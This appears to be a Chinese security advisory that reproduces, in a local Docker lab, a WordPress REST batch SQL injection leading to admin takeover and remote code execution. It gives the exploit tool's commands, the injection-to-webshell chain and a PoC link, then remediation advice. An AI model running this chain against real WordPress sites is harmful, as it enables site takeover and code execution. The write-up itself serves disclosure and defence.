高危预警！WordPress最新SQL注入漏洞可直接接管网站管理员权限

原创

zz
zz

星络安全实验室

2026年7月19日 15:40
重庆

在小说阅读器读本章

去阅读

1. 环境

• 主机：Linux

• Docker：28.2.2

• Docker Compose：v2.40.2

• 靶场端口：http://127.0.0.1:8080

• WordPress：6.8.3-php8.2-apache

• 数据库：mariadb:11.4

2. 靶场搭建

启动命令

docker compose -f poc/lab/docker-compose.yml up -ddocker compose -f poc/lab/docker-compose.yml run --rm wpcli wp core install \\  --url=http://127.0.0.1:8080 \\  --title=wp2shell-lab \\  --admin_user=admin \\  --admin_password='Summer2026!' \\  [email protected] \\  --skip-emaildocker compose -f poc/lab/docker-compose.yml run --rm wpcli wp post create \\  --post_title='Hello lab' \\  --post_content='wp2shell local lab' \\  --post_status=publish

3. 漏洞复现过程

3.1 暴露面确认

python3 wp2shell.py --scan http://127.0.0.1:8080

结果：识别到目标版本并确认 batch/v1 路由可达。

3.2 时间盲注确认

python3 wp2shell.py --check http://127.0.0.1:8080 --delay 0.5 --timeout 10

结果：快慢请求存在稳定时间差，确认盲注可用。

3.3 数据读取

python3 wp2shell.py --read http://127.0.0.1:8080 --expr @@version --max-len 32 --delay 0.2 --timeout 10

结果：读取到数据库版本 11.4.12-MariaDB-ubu2404。

3.4 完整 RCE 链路

python3 wp2shell.py --rce http://127.0.0.1:8080 --cmd id -y --timeout 30

结果：脚本一次命令完成全链路，最终执行 id 得到 www-data。

4. 漏洞链路说明

漏洞链按以下顺序执行：

1. 探测 batch/v1 路由和盲注可用性。

2. 通过 author_exclude 注入点进入 SQL 逻辑。

3. 读取表前缀、管理员 ID、oEmbed cache 记录 ID。

4. 构造 customize_changeset 和 request 相关伪造行。

5. 利用 oEmbed -> changeset -> re-entry(parse_request) 创建管理员。

6. 登录后上传 webshell 插件并执行命令。

poc：https://github.com/ZephrFish/wp2shell-scanner.git

5. 修补意见

5.1 路由与参数白名单

• 对 /batch/v1 相关请求增加严格参数校验。

• 拒绝嵌套 batch、畸形 path、以及 author_exclude 这类不应透传到查询层的输入。

5.2 SQL 注入点修复

• 所有参与 WP_Query、prepare() 或 REST 转发的参数必须使用参数化接口。

• 避免把用户输入拼接到 NOT IN、IN、ORDER BY、LIMIT 等敏感片段。

5.3 关键副作用隔离

• oEmbed

、changeset、request 等机制不应在未授权上下文下触发写库。

• 对 REST batch 的执行路径增加上下文检查，防止路由混淆导致权限边界失效。

5.4 认证与提权控制

• 管理员创建、插件上传、REST 写操作都应要求明确权限校验。

• 对高危操作增加审计日志，便于后续追踪异常请求链。